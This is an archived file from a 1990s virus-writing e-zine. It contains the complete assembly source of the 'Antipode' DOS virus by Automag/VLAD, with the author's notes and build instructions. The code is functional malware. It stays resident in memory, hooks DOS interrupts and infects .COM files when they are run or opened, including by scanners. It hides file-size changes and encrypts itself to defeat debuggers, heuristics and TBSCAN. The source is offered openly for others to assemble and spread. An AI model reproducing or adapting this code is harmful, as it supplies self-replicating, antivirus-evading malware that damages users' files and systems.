home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.4_3 < prev    next >
Encoding:
Text File  |  1995-01-18  |  12.5 KB  |  486 lines

  1.  
  2. ; Hi guys...
  3. ; Tonight it's Sun 1 Jan 1995     0:03:16 (4DOS Time)
  4. ; The Radio is playing U2's NEW YEARS DAY ;)
  5. ; So, I wish you a Happy NEW YEAR !!!!
  6.  
  7. ; This virus is called Antipode, because of the position of France in
  8. ;       relation to Australia.
  9. ; It's my very first release:
  10. ;       - .COM/.com infection, not COMMAND.COM
  11. ;       - Find-first/next stealth     4e/4f + 11/12
  12. ;       - Time based marker: seconds field=2
  13. ;       - Infects read-only files
  14. ;       - Restores original Time/Date + second=2
  15. ;       - XOR encryption
  16. ;       - Memory resident, using MCB's
  17. ;       - Infection on Exec+Open+Extended Open
  18. ;               it's a pretty fast infector... try to scan your disk when
  19. ;               resident, it will use SCAN/TBSCAN and even F-PROT 
  20. ;               as a vector :)
  21. ;       - Write Protect Errors removed by int 24h handler
  22. ;       - I added a little trick to fool Veldman's TBSCAN, when in memory,
  23. ;               TBSCAN don't scan any infected file...
  24.  
  25. ;       I'm sorry, but due to the encryption this virus is a bit tricky to 
  26. ;       create:         you must assemble as usual,
  27. ;                       link it to a bin file : IP must be 0
  28. ;                       append it to a .com that just jumps at the end
  29. ;                       now trace the resulting .com and skip the encryption
  30. ;                       but you MUST execute the push dx,
  31. ;                       without getting trapped by Qark :)
  32.  
  33. ;       That's not too hard, but you must be worthy to use this virus :)
  34.  
  35.  
  36.  
  37. exec_adr        =       0000:0100h              ; Address of return
  38.  
  39.         jumps                           ; Allow Tasm to resolve too
  40.                         ; long jumps
  41. virusseg        segment byte public
  42.         assume  cs:virusseg, ds:virusseg
  43.  
  44.         org     0000h                   ; Begin the virus at IP=0
  45.  
  46. start:
  47.         push    ds:[101h]               ; 101=offset of the jump
  48.         pop     dx
  49.         add     dx,103h                 ; Dx=offset start
  50.         push    dx                      ; put it on the stack
  51.  
  52.         mov     si,offset quit          ; adaptation of Qarks routine
  53.                         ; to fool debuggers
  54.         add     si,dx
  55.         mov     word ptr ds:[si],20CDh
  56. quit:           mov     word ptr ds:[si],04C7h
  57.                         ; Heuristics and debuggers
  58.                         ; won't find us now.
  59.         call    cryptage                ; decrypt the virus
  60.         jmp debut_cr                    ; jump to the virus
  61.  
  62. cryptage        proc near
  63.         mov     si,offset debut_cr      ; start of the encrypted area
  64.         add     si,dx                   ; fix it 
  65.         mov     di,si                   ; use si as the xor value
  66. cryptage_2      proc near                       ; this proc will be called to
  67.                         ; encrypt the virus
  68.         mov     cx,offset last-offset debut_cr
  69.                         ; cx=length to encrypt
  70. cr:             xor     word ptr ds:[si],di     ; enc/decrypt the virus
  71.         inc     si                      ; move to next byte 
  72.         loop    cr                      ; and enc/decrypt the virus
  73.         ret
  74. cryptage_2      endp
  75. cryptage        endp
  76.  
  77. debut_cr:       
  78.         mov     si,offset buffer        ; Buffer contains original
  79.                         ; bytes of the virus
  80.         add     si,dx                   ; fix it once again
  81.         mov     di,100h                 ; destination is entrypoint
  82.         push    cs
  83.         pop     es
  84.         movsw
  85.         movsb                           ; Patch back to the original
  86.  
  87.         mov     ah,02ch                 ; Ask for the Time
  88.         int     21h
  89.         cmp     dl,242                  ; Are we in memory ? 
  90.         jne     not_in_ram              ; if not, install
  91.         push    cs
  92.         mov     ax,100h
  93.         push    ax
  94.         retf                            ; go back to original entry
  95.  
  96. not_in_ram:
  97.         push    cs
  98.         pop     ax
  99.         dec     ax
  100.         mov     ds,ax                   ; DS -> MCB
  101.         inc     ax
  102.         mov     cx,word ptr ds:[0003]
  103.         mov     dx,cx                   ; DX=number of parag. left
  104.         add     dx,ax
  105.         sub     cx,(((last2-start)/16)+1)*2
  106.                         ; alloc 2*size of the virus 
  107.         mov     word ptr ds:[0003],cx   ; fix the MCB
  108.         mov     cx,dx
  109.         sub     cx,(((last2-start)/16)+1)*2
  110.         mov     es,cx                   ; es=future cs of the virus
  111.         mov     cx,(last2-start)+1      ; size of the virus
  112.         push    cs
  113.         pop     ds
  114.         pop     dx
  115.         mov     si,dx                   ; si = entry of the virus
  116.  
  117.         push    si
  118.         push    cx
  119.  
  120.         mov     di,0
  121.         rep movsb                       ; copy the virus to es:0
  122.  
  123.         pop     cx
  124.         pop     si
  125.  
  126.         rep movsb                       ; once again
  127.  
  128.         push    es
  129.         mov     cx,offset nextstep
  130.         push    cx
  131.         retf                            ; Jump to ES:IP
  132.         ;install the virus in ram and hook vectors
  133. nextstep:                                       ; We are at the top of mem
  134.  
  135.         push    cs
  136.         pop     ds
  137.         mov     word ptr ds:[farjmp+3],ax
  138.                         ; Fix the return adress
  139.  
  140.         mov     ax,3521h                ; Save the int 21h vectors
  141.         int     21h
  142.         mov     ds:word ptr save_int21+2,es     
  143.         mov     ds:word ptr save_int21,bx
  144.  
  145.         mov     dx,offset my_int21      ; Use our int instead
  146.         mov     ax,2521h
  147.         int     21h
  148.  
  149. farjmp:         jmp far ptr exec_adr            ;Return to the original
  150.  
  151.  
  152. my_int21        proc    far
  153.         cmp     ah,11h          ; Find first
  154.         je      dir_stealth
  155.         cmp     ah,12h          ; Find next
  156.         je      dir_stealth
  157.         cmp     ah,4Eh          ; Find first
  158.         je      find_file
  159.         cmp     ah,4Fh          ; Find next
  160.         je      find_file
  161.         cmp     ah,3dh          ; File open
  162.         je      check_it
  163.         cmp     ah,4bh          ; Exec
  164.         je      check_it
  165.         cmp     ah,6ch          ; Extended open
  166.         je      check_it
  167.         cmp     ah,4ch
  168.         je      terminate
  169.         cmp     ah,02ch         ; Time
  170.         jne     to_vect
  171.  
  172.         call    int21
  173.  
  174.         mov     dl,242          ; seconds = 242
  175.         push    cs
  176.         pop     bx
  177.         iret
  178. check_it:
  179.         jmp     check_it2
  180.  
  181. dir_stealth:
  182.         call    int21
  183.         test    al,al
  184.         jnz     not_a_file
  185.  
  186.         pushf
  187.         push    ax
  188.         push    bx
  189.         push    es
  190.  
  191.         mov     ah,51h
  192.         int     21h
  193.  
  194.         mov     es,bx
  195.         cmp     bx,es:[16h]
  196.         jnz     not_infected
  197.         mov     bx,dx
  198.         mov     al,[bx]
  199.         push    ax
  200.         mov     ah,2fh
  201.         int     21h
  202.         pop     ax
  203.         inc     al
  204.         jnz     fcb_ok
  205.         add     bx,7h
  206. fcb_ok:         mov     ax,es:[bx+17h]
  207.         add     bx,3
  208.         jmp     patch_size
  209. find_file:
  210.         call    int21
  211.         jc      not_a_file
  212.         pushf
  213.         push    ax
  214.         push    bx
  215.         push    es
  216.  
  217.         mov     ah,2Fh
  218.         int     21h                     ; Ask for the DTA
  219.  
  220.         mov     ax,es:[bx+16h]          ; ax=time 
  221. patch_size:
  222.         and     al,1fh                  ; ax=seconds
  223.         xor     al,1                    ; are seconds=2 ?
  224.         jnz     not_infected
  225.         mov     ax,offset last-offset start
  226.                         ; ax = size of the virus
  227.         cmp     byte ptr cs:[tbscan_active],1
  228.                         ; is TBSCAN active ?
  229.         jne     dont_fool
  230.         mov     ax,word ptr es:[bx+1Ah] ; if active the file size = 0
  231.  
  232. dont_fool:      sub     word ptr es:[bx+1Ah],ax
  233.                         ; sub virus size to file size
  234.  
  235. not_infected:
  236.         pop      es
  237.         pop      bx
  238.         pop      ax
  239.         popf
  240.  
  241. not_a_file:
  242.         retf 2                          ; no iret to save the flags
  243.                         ; thanks to Qark...
  244.  
  245. check_it2:      pushf
  246.         push    ax
  247.         push    bx
  248.         push    cx
  249.         push    di
  250.         push    dx
  251.         push    ds
  252.         push    es
  253.         push    si                      ; TOO MANY PUSHS !!!
  254.                         ; OPTIMISE !!!
  255.         mov     byte ptr cs:[function],ah
  256.                         ; save ah for later
  257.         cmp     ax,6c00h
  258.         jne     not_extended
  259.         cmp     dx,0001                 ; int 21h ax=6c00h/dx=0001h->
  260.                         ; int 21 ah=3dh
  261.         jne     no_good
  262.         mov     dx,si                   ; the name -> DS:SI
  263. not_extended:
  264.         push    ds
  265.         push    dx                      ; save filename seg/offs
  266.  
  267.         mov     ax,3524h
  268.         int     21h
  269.         mov     word ptr cs:[save_int24],bx
  270.         mov     word ptr cs:[save_int24+2],es
  271.                         ; save int 24h
  272.         push    cs
  273.         pop     ds
  274.         mov     dx,offset my_int24
  275.         mov     ax,2524h
  276.         int     21h                     ; install our int
  277.  
  278.         pop     dx
  279.         pop     ds                      ; restore the filename
  280.  
  281.         mov     al,00h
  282.         push    ds
  283.         push    ds
  284.         pop     es
  285.         mov     di,dx
  286.         mov     cx,0ffh
  287.         repne   scasb                   ; seek to the end of the name
  288.  
  289.         push    cs
  290.         pop     ds
  291.         cmp     byte ptr cs:[function],4bh
  292.         jne     not_exec
  293.         push    di
  294.         sub     di,11
  295.         mov     si,offset tbscan
  296.         mov     cx,10
  297.         rep     cmpsb
  298.         jnz     not_tbscan
  299.         mov     byte ptr cs:[tbscan_active],1
  300. not_tbscan:
  301.         pop     di
  302. not_exec:
  303.         sub     di,4
  304.         push    di                      ; seek to the extension
  305.  
  306.         mov     si,offset comfile
  307.         mov     cx,3
  308.  
  309.         rep     cmpsb                   ; check if the file is a COM
  310.         pop     di
  311.         jz      good
  312.  
  313.  
  314.         push    di
  315.         mov     si,offset comfile+3
  316.         mov     cx,3
  317.  
  318.         rep     cmpsb                   ; or a com
  319.         pop     di
  320.         jnz     no_good
  321.  
  322. good:
  323.         pop     ds
  324.         cmp     byte ptr [di-2],'D'     ; COMMAND.COM ?
  325.         jnz     not_command             
  326.         cmp     byte ptr [di-8],'C'
  327.         jz      push_no_good
  328.  
  329. not_command:    mov     ax,4300h
  330.         int     21h                     ; get the attributes
  331.  
  332.         mov     word ptr cs:[save_attrib],cx
  333.         jc      exit_2                  ; if no file exists...RUN !!!
  334.  
  335.         mov     ax,4301h
  336.         xor     cx,cx
  337.         int     21h                     ; set zero attributes
  338.  
  339.         push    ds
  340.         push    dx
  341.  
  342.         mov     ax,3d02h                ;Open file Read/write
  343.  
  344.         call    int21
  345.  
  346.         mov     bx,ax                   ; bx = handle
  347.         mov     ax,5700h                ; get file time/date
  348.         int     21h
  349.         mov     cs:[save_time],cx
  350.         mov     cs:[save_date],dx       ; save them
  351.  
  352.         mov     ax,word ptr cs:[save_time]
  353.                         ;Check for an infection
  354.         and     al,1Fh
  355.         xor     al,1    
  356.         je      dirty_exit
  357.  
  358.         push    cs
  359.         pop     ds
  360.         mov     dx,offset buffer+(offset last2-offset start)+1
  361.         mov     cx,end_patch-patch
  362.         mov     ax,3F00h                ; Read xx first bytes
  363.         int     21h                     ; to te buffer of the second
  364.                         ; copy of the virus in memory
  365.  
  366.         xor     cx,cx
  367.         xor     dx,dx
  368.         mov     ax,4202h                ; Seek to EOF..
  369.         int     21h
  370.  
  371.         mov     di,ax                   ; ax = end of file
  372.         add     di,offset debut_cr-offset start+100h
  373.                         ; di = value of the XOR
  374.         sub     ax,3h                   ; ax = adress of the jump
  375.         mov     word ptr cs:[return+1],ax
  376.                         ; patch the future file
  377.         mov     si,(offset last2-offset start)+offset debut_cr+1
  378.                         ; si=offset of the 2nd virus
  379.         push    si
  380.         push    di
  381.  
  382.         call    cryptage_2              ; crypt the 2nd copy
  383.  
  384.         push    cs
  385.         pop     ds
  386.         mov     dx,offset last2+1       ; dx= offset of the 2nd copy
  387.         mov     cx,last-start
  388.         mov     ah,40h
  389.         int     21h                     ; Write the virus to file...
  390.  
  391.         pop     di
  392.         pop     si
  393.  
  394.         call    cryptage_2              ; decrypt the 2nd copy
  395.  
  396.         xor     cx,cx
  397.         xor     dx,dx
  398.         mov     ax,4200h                ; seek to start of file
  399.         int     21h
  400.  
  401.         push    cs
  402.         pop     ds
  403.         mov     dx,offset patch
  404.         mov     cx,end_patch-patch
  405.         mov     ah,40h
  406.         int     21h                     ; write the jump to the file
  407.  
  408.         mov     dx,cs:[save_date]
  409.         mov     cx,cs:[save_time]
  410.         or      cx,0001h
  411.         and     cx,0FFE1h
  412.         mov     ax,5701h
  413.         int     21h                     ; restore file time/date
  414.  
  415. dirty_exit:
  416.         pop     dx
  417.         pop     ds
  418.  
  419.         mov     ah,3eh
  420.         int     21h                     ; close the file
  421.  
  422.  
  423. exit_2:         mov     ax,4301h
  424.         mov     cx,word ptr cs:[save_attrib]
  425.         int     21h                     ; restore the attributes
  426. push_no_good:
  427.         push    ds
  428. no_good:
  429.         pop     ds
  430.         mov     ds,cs:[save_int24+2]
  431.         mov     dx,cs:[save_int24]
  432.         mov     ax,2524h
  433.         int     21h                     ; restore the int 24h
  434.         pop     si
  435.         pop     es
  436.         pop     ds
  437.         pop     dx
  438.         pop     di
  439.         pop     cx
  440.         pop     bx
  441.         pop     ax
  442.         popf
  443. to_vect:        jmp     dword ptr cs:[save_int21]
  444.                         ; and call the int 21h
  445. terminate:
  446.         mov     byte ptr cs:[tbscan_active],0
  447.         jmp     to_vect
  448.  
  449. my_int21        endp
  450.  
  451. my_int24        proc    far                     ; int 24h
  452.         mov     al,0                    ; no problem...
  453.         iret                            ; and return
  454. my_int24        endp
  455.  
  456. comfile         db 'COMcom'                     ; extensions to infect
  457. tbscan          db 'TBSCAN.EXE'
  458.         db '[Antipode 1.0]',0
  459.         db 'by Automag/VLAD'
  460. tbscan_active   db      0
  461. buffer:         db      0CDh,20h,90h    
  462. int21   proc    near
  463.         pushf
  464.         db 9Ah
  465. save_int21      dw      2 dup (?)
  466.         ret
  467. int21   endp
  468.  
  469. patch:
  470. return:         db      0e9h
  471. last:           db      00,00
  472. end_patch:
  473.  
  474.  
  475. save_int24      dw      2 dup (?)
  476. function        db      0
  477. save_attrib     dw      0
  478. save_date       dw      0
  479. save_time       dw      0
  480.  
  481. last2:
  482. virusseg        ends
  483.         end     start
  484.  
  485.  
  486.